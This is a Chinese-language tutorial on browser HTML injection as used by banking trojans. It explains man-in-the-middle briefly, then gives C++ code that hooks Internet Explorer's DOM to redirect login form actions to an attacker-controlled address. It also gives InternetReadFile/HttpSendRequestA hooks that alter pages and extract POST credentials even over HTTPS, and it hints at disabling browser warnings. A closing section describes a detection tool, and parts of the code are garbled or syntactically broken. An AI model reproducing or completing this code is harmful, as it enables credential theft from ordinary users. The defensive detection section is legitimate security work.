一、原理说明
1、我这里说的HTML注入并不是什么伪静态注入,而是通过向浏览器插入额外的字段代码,混入其他的登陆表单中,从而让用户看起来额外的代码是合法的,一种说白了就是窃取一切用户信息的手段。类似行为的比如Zeus、Fakelas、还有我天朝的11wer等。
二、攻击手法
1、MIM(中间人攻击)手法实现HTML注入
中间人攻击,意思是把我们发起攻击的主机放置在web服务器和受害者PC之间的通信中。从而可以在服务器响应报文到达受害者PC之前,我们可以替换或者插入数据来修改报文。从而达到了欺骗的效果。
但是现在一般由于SSL复杂性以及要做到MIM攻击需要一个独立的网络位置侦察点,所以MIM攻击注入HTML也只是一种鸡肋的手法。不管在windows下还是linux下,有兴趣的朋友可以自己测试下。这里不多赘述。
2、修改IE浏览器的文档模型(DOM)实现HTML注入
首先向部分不清楚DOM的朋友简单解释一下DOM。DOM,全称Document
Object Model,即文档对象模型,它是组成web网页多个元素的集合。
因为网页中的元素,比如链接、表单、文本框、表格等都是可以通过特殊的接口进行操作,所以我们才说是基于DOM的HTML注入,这里要引入两个与操作DOM最相关的接口,分别是IWebBrowser2和IHTMLDocument2。
当我们构造好恶意代码,连接到浏览器网页的DOM后,可以执行一些监视用户访问过的URL、强行操控浏览器发送POST数据报文到我们控制的接收地址、从HTML表格中删除一些余额明细报表的交易数据等(银行木马窃取用户信息的基本手法)。
我们要先通过加载一个DLL(动态链接库)到IE浏览器,用来访问我们需要的接口,或者直接从IE的独立进程中访问需要的接口。
这里演示一下,一个简单的HTML登陆表单,如图,地址是:http://localhost/login.php
代码如下:
<table width="300" align="center"> <tr> <form method="post" action="checklogin.php"> <td> <table width="100%"> <tr> <td colspan="2"><b>会员登录</b></td> </tr> <tr> <td>用户名:</td> <td><input name="user" type="text" /></td> </tr> <tr> <td>密码:</td> <td><input name="pass" type="text" /></td> </tr> <tr> <td> </td> <td><input type="submit" name="submit" value="login" /></td> </tr> </table> </td> </form> </tr> </table> |
提交表单的method为POST,action为checklogin.php。我们知道了这个表单的行为,那么我们就要开始分析如何进行攻击。方法是对其进行HTML注入来改写表单中的action,这样当用户点击Login按钮时,浏览器可以将证书发送到我们控制的接收地址。
确定了方向,我们开始构造恶意代码,让它来完成我们所需要的行为。下面我简单写了一个exe程序,运行后将等待用户访问http://localhost/login.php,然后使用DOM的接口挖掘表单中的元素,最后将表单里的action地址更改为我们伪造的另一个接收地址
http://localhost/nandi.php ,这样就完成了一次伪造的基于浏览器DOM实现的HTML注入。
我们构造的代码如下:
int main(void) { HRESULT hr; IShellWindows *shell; IDispatch *folder; IDispatch *html; IwebBrowser2 *browser; IHTMLDocument *doc; LONG Count; VARIANT vIndex; BOOL bDone = FALSE;
CoInitialize(NULL);
DWORD dwFlags = CLSCTX_REMOTE_SERVER|
CLSCTX_LOCAL_SERVER|
CLSCTX_INPROC_HANDLER|
CLSCTX_INPROC_SERVER;
//等待用户访问目标页面
while(1) {
//激活IShellWindows接口
hr = CoCreateInstance(CLSTD_ShellWindows,
NULL,dwFlags,
IID_IShellWindows, (void **)&shell);
if(hr != S_OK) {
printf("CoCreateInstance failed:0x%x!\n",hr);
break;
}
//遍历循环所有存在的窗口
shell->get_Count(&Count);
for(int i=0; iItem(vIndex, (IDispatch **)&folder);
if (hr !=S_OK || !folder) {
continue;
}
//尝试激活IWebBrowser2接口
hr = folder->QueryInterface(IID_IWebBrowser2,
(void **)&browser);
if (hr !=S_OK || !browser) {
folder->Release();
continue;
}
//当用户访问目标页面,等待页面加载完成,从浏览器提取IHTMLDocument接口,然后尝试进行注入HTML
if (IsReadyTarget(browser)) {
hr = browser->get_Document((IDispatch**)&html);
if (hr == S_OK && html) {
hr = html->QueryInterface(IID_IHTMLDocument2,
(void**)&doc);
if (hr == S_OK && doc) {
bDone = ReplaceForms(doc);
doc->Release();
}
html->Release();
}
}
browser->Release();
}
shell->Release();
//如果成功,结束循环
if(bDone) break;
Sleep(1000);
}
CoUninitialize();
return 0;
}
//当用户访问目标页面并且加载完毕,此函数将返回True
BOOL IsReadyTarget(IWebBrowser2 *browser)
{
HRESULT hr;
VARIANT_BOOL vBool;
BSTR bstrUrl;
BOOL bRet = FALSE;
LPWSTR szTarget = L"http://localhost/login.php";
//这是我的本地测试页面,具体情况具体修改!
//我们需要重视站点中可见的部分
browser->get_Visible(&vBool);
if (!vBool)
return FALSE;
//获取当前URL
hr = browser->get_LocationURL(&bstrUrl);
if (hr !=S_OK || !bstrUrl)
return FALSE;
//检查URL并等待加载
if (wcsstr((LPCWSTR)bstrUrl,szTarget) !=Null)
{
do {
browser->get_Busy(&vBool);
Sleep(1000);
} while (vBool);
bRet = TRUE;
}
SysFreeString(bstrUrl);
return bRet;
}
BOOL ReplaceForms(IHTMLDocument2 *doc)
{
HRESULT hr;
IHTMLElementCollection *forms;
IHTMLFormElement *element;
IDispatch *theform;
VARIANT vEmpty;
VARIANT vIndexForms;
LONG CountForms;
BOOL bRet == FALSE;
BSTR bstrEvil = SysAllocString(L"http://localhost/nandi.php");
//这里是我伪造的action,具体情况具体分析
//查询doc表单
hr = doc->get_forms((IHTMLElementCollection**)&forms);
if (hr != S_OK || !forms)
return FALSE;
//在doc中循环每一个表单元素
forms->get_length(&CountForms);
for (int j=0; jitem(vIndexForms,vEmpty,(IDispatch**)&theform);
if (hr !=S_OK || !theform) {
continue;
}
//取得表单元素
hr = theform->QueryInterface(IID_IHTMLFormElement,
(void**)&element);
if (hr == S_OK && element) {
//替换action的地址
hr = element->put_action(bstrEvil);
if (hr == S_OK) {
bRet = TRUE;
}
element->Release();
}
theform->Release();
}
forms->Release();
SysFreeString(bstrEvil);
return bRet;
} |
3、利用API钩子实现HTML注入
API钩子来实现HTML注入简单并且有效,但是非常容易被检测出来,任何反rootkit的扫描器都可以列出被拦截的函数。我们所利用的API钩子通常拦截的可疑函数是IneternetReadFile和HttpSendRequest。
IE浏览器调用InternetReadFile获取来自服务器的数据字节,然后在浏览器中显示,所以可以通过来接这个函数,让我们的程序可以在数据回显给用户之前更改应答数据。另一面,HttpSendRequest发送了一个包含POST的请求到web服务器,通过拦截HttpSendRequest函数,我们构造的恶意代码可以从POST中提取出证书,即使是HTTPS,也就是经过SSL加密的网页也会存在该注入。
稍微懂一点的人都清楚,InternetReadFile接收的是解密后的数据,而HttpSendRequest接收的是加密前的数据。所以我们构造的代码编译好依然可以截获到一切数据。
我们构造好的利用代码如下:
BOOL Hook_InternetReadFile( _in HINTERNET hFile, _out LPVOID lpBuffer _in DWORD dwNumberOfBytesToRead _out LPDWORD lpdwNumberOfBytesRead) { //首先调用真正的函数
BOOL bRet = True_InternetReadFile(
hFile,
lpBuffer
dwNumberOfBytesToRead,
lpdwNumberOfBytesRead);
DWORD dwErr = GetLastError();
//判断用户是否访问目标页面
if (IsTarget(hInet)) {
InjectHTML(hInet,
lpBuffer,
lpdwNumberOfBytesRead);
}
SetLastError(dwErr);
return bRet;
}
BOOL Hook_HttpSendRequestA(
_in HINTERNET hRequest,
_in LPCTSTR lpszHeaders,
_in DWORD dwHeadersLength,
_in LPVOID lpOptional,
_in DWORD dwOptionalLength)
{
if (IsTarget(hRequest)) && //是否访问目标页面
lpOptional !=NULL && //判断POST的载荷是否存在
dwOptionalLength > 0) //判断POST的载荷是否存在
{
ExtractCredentials(
hRequest,
lpOptional,
dwOptionalLength);
}
//调用真正的函数
return True_HttpSendRequestA(
hRequest,
lpszHeaders,
dwHeadersLength,
lpOptional,
dwOptionalLength);
} |
三、防范与检测HTML注入
一般来说,API钩子是很容易被反rootkit扫描器检测出来的,这一点前面我也说到过。相对于API钩子,DOM修改更加具有欺骗性,因为一般没有什么正当理由去拦截InternetReadFile和HttpSendRequest,而修改DOM不会拦截任何函数。
大家想,这说明了什么呢?有些朋友可能已经想到了,那就是说,无论用的是API钩子还是修改DOM,对于HTML的注入都仅仅是在浏览器进程的内存中显示。特别是浏览器开启的缓存功能会在缓存文件夹下生成用户访问页面的原始副本。于是当我们执行doc.exe后(相关代码请参考前面,后缀名为php只是为了方便大家在网络上查看相关代码,实际需要编译。),我们再来访问http://localhost/login.php
,选择“查看源代码”,这个时候浏览器将访问磁盘中的缓存页面而不是从内存中访问修改后页面。
所以如果通过”查看源代码“的方式并不能分辨出浏览器中的页面元素是否已被修改。如图所示:
对于检测HTML注入,我这里写了一个工具,思路原理如下:
a.针对我们指定需要检查的每个页面启动一个新的IE进程,并等待加载,并且额外等待几秒钟,目的为了让我们的恶意代码执行HTML注入。
b.访问浏览器的DOM,使用和恶意代码相同的API,但是不执行任何修改,只是把页面内容副本转存到程序目录,并命名为url_dom.txt。
c.检查浏览器是否使用GetUrlCacheEntryInfo API缓存了指定页面的副本。如果是,那么将Internet临时文件夹中的缓存文件以url_cache.txt复制到程序目录中。
d.截取IE窗口,并保存到程序目录,以便查看浏览器中Html页面的外观。
下面是程序演示示例:
C:\>echo http://localhost/login.php ->url.txt C:\>HtmlInjectionDetector.exe -f url.txt -s |
结果如下:
现在应有三个文件:
a — url_dom.txt — IE浏览器中显示的Html副本。
b — url_cache.txt — web服务器返回的原始Html副本。
c — url.bmp — 访问页面的屏幕截图
如图所示,通过浏览这些文件,可以很容易确定页面的修改情况
不过如果替换了Https网页中的表单并以POST方式将数据提交到Http网页,那么浏览器会弹出提示或警告。但是我们可以再加入一些代码来通过修改IE设置中的错误消息模式来禁用这些提示或警告,这里就不多说了。
工具打包,用法注意 — 工具会自动打开需检查的url,在页面上停留2秒左右不要关闭,否则无法抓取缓存和当前副本。
|